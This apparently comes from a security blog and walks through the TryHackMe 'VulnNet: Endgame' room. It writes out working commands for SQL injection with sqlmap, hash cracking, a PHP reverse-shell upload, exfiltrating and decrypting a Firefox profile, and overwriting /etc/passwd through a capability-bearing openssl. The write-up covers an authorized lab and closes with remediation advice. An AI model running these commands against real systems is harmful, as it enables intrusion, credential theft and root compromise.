mintshell
VI

VulnNet: Endgame

An unauthenticated SQL injection in a hidden API endpoint dumps a TYPO3 admin's Argon2 hash plus a sibling table of plaintext passwords that cracks it; the TYPO3 backend uploads a PHP shell after disabling the file-deny filter; a saved Firefox login is decrypted and reused to reach the system user; and a custom openssl binary with a file capability overwrites /etc/passwd for root.

Platform
TryHackMe
Room
VulnNet: Endgame(external link)
Difficulty
Medium
Vulnerabilities
sql injection, unrestricted file upload, password reuse, reversible secret storage, linux capability privilege escalation
7 min read

VulnNet: Endgame — Blind SQLi to a TYPO3 Shell, Reused Firefox Creds, and a Capability-Backed openssl to Root

A walkthrough of the “VulnNet: Endgame” room on TryHackMe. Virtual-host hunting uncovers a hidden API whose blog parameter is SQL-injectable; the dump yields a TYPO3 admin’s Argon2 hash and — in a sibling table — the plaintext wordlist that cracks it. The TYPO3 backend lets us switch off its upload filter and drop a PHP shell, a saved Firefox login is decrypted and reused to become the system user, and a custom openssl carrying a Linux file capability rewrites /etc/passwd for root.

VulnNet: Endgame is an authorized training room on TryHackMe; everything here was performed against a legal practice target. Flags, password hashes, and recovered credentials are redacted. Values shown as <redacted> or THM{<redacted>} are real on the box but withheld here.


TL;DR

TL;DR

vhost fuzzing finds shop, api, blog, and a slow-to-answer admin1 (TYPO3) → the API route api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1 is SQL-injectable → sqlmap dumps vn_admin.be_users (TYPO3 admin chris_w, an Argon2i hash) and blog.users (hundreds of plaintext passwords) → use the blog passwords as a wordlist and john cracks chris_w → log in to the TYPO3 backend, clear [BE][fileDenyPattern], and upload a PHP reverse shell → shell as www-data → loot a saved Firefox logins.json, decrypt it with firefox_decrypt, and reuse the password to su system (user flag) → /home/system/Utils/openssl has a file capability that bypasses permissions, so read /etc/shadow and overwrite /etc/passwd with a new UID-0 user → root.

One injectable parameter unravels the whole box; every later hop is a reused secret or a binary trusted too much.

The target

export IP=<target-ip>

Two ports — SSH and Apache:

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

The web root redirects to vulnnet.thm, so virtual-host fuzzing is the next move. A first pass finds three vhosts; a larger wordlist adds a fourth that answers slowly:

ffuf -w subdomains-top1million-110000.txt -u http://vulnnet.thm/ -H "Host: FUZZ.vulnnet.thm" -t 10 -fw 9
# shop     [Status: 200]
# blog     [Status: 200]
# api      [Status: 200, Size: 18]
# admin1   [Status: 307]

admin1.vulnnet.thm is a TYPO3 install (/typo3, /typo3conf, /fileadmin), and api.vulnnet.thm returns a terse 18-byte page — sometimes an error, Connection failed: No such file or directory, that smells like a MySQL-backed service.

The vulnerability — an internal API route trusts its blog parameter

The API exposes an internal fetch route, and its blog parameter flows straight into a SQL query. sqlmap confirms it and enumerates the databases:

sqlmap -u "http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1" -p blog --dbs
# back-end DBMS: MySQL
# available databases: blog, information_schema, vn_admin

Insight

vn_admin.be_users holds the TYPO3 backend admin chris_w, whose password is a strong Argon2i hash — rockyou won’t touch it. But the same injection reaches blog.users, a table of hundreds of account passwords stored in plaintext. The trick isn’t a faster cracker; it’s realising the box handed us a tailored wordlist. Feed those plaintexts to john and the “uncrackable” Argon2 hash falls in seconds — because the admin reused a password that was sitting in cleartext one table over.

Step 1 — dump the users, crack the admin

Pull the TYPO3 admin hash and the plaintext blog passwords:

sqlmap -u "http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1" -p blog -D vn_admin -T be_users -C username,password --dump
# chris_w | $argon2i$v=19$m=65536,t=16,p=2$<redacted>

sqlmap -u "http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1" -p blog -D blog -T users -C username,password --dump
# ...651 rows of username,password (plaintext)

Build a wordlist from the blog passwords and crack the Argon2 hash with it:

cut -d ',' -f2 users.csv > passlist.txt
john --wordlist=passlist.txt hash
# chris_w  ->  <redacted>

Step 2 — TYPO3 backend to a PHP reverse shell

Log in to http://admin1.vulnnet.thm/typo3/ as chris_w. TYPO3’s only guard against uploading executable code is the [BE][fileDenyPattern] regex — and an admin can edit it. In Admin Tools → Settings → Configure Installation-Wide Options, clear [BE][fileDenyPattern], then write the configuration:

[BE][fileDenyPattern]  ->  (cleared)

Now Filelist accepts a .php upload. Drop a reverse shell, start a listener, and request the file:

# attacker
nc -lvnp 4444
curl http://admin1.vulnnet.thm/fileadmin/user_upload/revshell.php

The callback lands as www-data; upgrade to a PTY:

python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@vulnnet-endgame:/$

Step 3 — a saved Firefox login, decrypted and reused

Enumerating as www-data turns up a Firefox profile in /home/system/.mozilla/ with a saved login in logins.json. Firefox stores those credentials reversibly (no master password here), so they can be decrypted offline. Archive the profile and pull it back:

# on the target
zip -r /tmp/browser.zip /home/system/.mozilla/
python3 -m http.server 8000
# attacker
wget http://$IP:8000/browser.zip && unzip browser.zip
python3 firefox_decrypt.py ./home/system/.mozilla/firefox/*.default-release
# Website:  https://tryhackme.com
# Username: 'chris_w@vulnnet.thm'
# Password: '<redacted>'

Insight

A saved browser password is not a secret from whoever can read the profile. Without a master password, logins.json plus the profile’s key database is fully decryptable with a public tool. The recovered password is then reused for a local account — the same mistake as step 1, one layer down — so it unlocks system directly.

Reuse the recovered password to switch to the system user and grab the user flag:

su system
# Password: <redacted>
system@vulnnet-endgame:~$ cat /home/system/user.txt
THM{<redacted>}

Step 4 — a capability-backed openssl overwrites /etc/passwd

system owns an odd directory, /home/system/Utils/, holding private copies of openssl, zip, and unzip. The openssl copy can read a root-only file that system should never see:

cd /home/system/Utils
./openssl enc -in /etc/shadow
# root:$6$<redacted>:...   (it read /etc/shadow as an unprivileged user)

Insight

Reading /etc/shadow as system is only possible because this openssl carries a Linux file capability (e.g. cap_dac_override) that bypasses normal permission checks. openssl enc reads any file with -in and writes any file with -out, so a DAC-bypassing openssl is an arbitrary file read and write primitive. Write beats read: instead of cracking the shadow hash, just overwrite /etc/passwd with a UID-0 account whose password we choose.

Generate a hash for a password we control, append a root-equivalent line to a copy of /etc/passwd, and overwrite the real file through openssl:

# attacker: make a crypt(5) SHA-512 hash
mkpasswd -m SHA-512 'password123'
# $6$<generated-hash>
# on the target
cp /etc/passwd /tmp/passwd.bak
echo 'pwned:$6$<generated-hash>:0:0:root:/root:/bin/bash' >> /tmp/passwd.bak
cat /tmp/passwd.bak | ./openssl enc -out /etc/passwd
su pwned
# Password: password123
root@vulnnet-endgame:~# cat /root/thm-flag/root.txt
THM{<redacted>}

SQLi → cracked admin → TYPO3 upload → www-data → Firefox creds → system → capability openssl → root.

Impact

Critical

Critical — CVSS 3.1 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) at the entry point, with a deterministic path to root:

  • Unauthenticated SQL injection in the internal API dumps every database, including administrative credentials.
  • Plaintext password storage + reuse turns a strong Argon2 hash into an instant login, and a saved browser credential into a local account.
  • Unrestricted file upload in the TYPO3 backend (an editable deny-pattern) yields remote code execution as www-data.
  • A dangerous Linux capability on a user-runnable openssl grants arbitrary file read/write — trivially escalated to root by rewriting /etc/passwd.

Fix

  1. Parameterise the API query. Bind the blog parameter; never concatenate request input into SQL. Put the API behind authentication and least-privileged DB accounts.
  2. Never store passwords in plaintext, and stop reuse. Hash every password store with a modern KDF, and don’t share one secret across the blog DB, the TYPO3 admin, and a saved browser login.
  3. Lock down TYPO3 uploads. Don’t let the backend edit fileDenyPattern; enforce a server-side allow-list and execute nothing from the upload directory.
  4. Audit file capabilities. getcap -r / and remove cap_dac_override/cap_setuid from general-purpose tools like openssl; a capability on a file-reading binary is a root escalation.

Takeaways

  • The database often ships its own wordlist. A “strong” Argon2 hash is worthless when the same injection dumps the plaintext the admin reused.
  • An admin-editable upload filter is an upload bypass. If the application lets you widen fileDenyPattern, the deny-list was never a control.
  • Saved browser passwords travel with the profile. No master password means logins.json is plaintext to anyone who can read the home directory.
  • Capabilities are quiet root. cap_dac_override on openssl reads /etc/shadow and writes /etc/passwd — no SUID bit, no exploit, just getcap away.

Thanks for reading. VulnNet: Endgame is a full-length chain where the only real exploit is one SQL injection — everything after it is a password left in the clear or a binary trusted with more than it needed.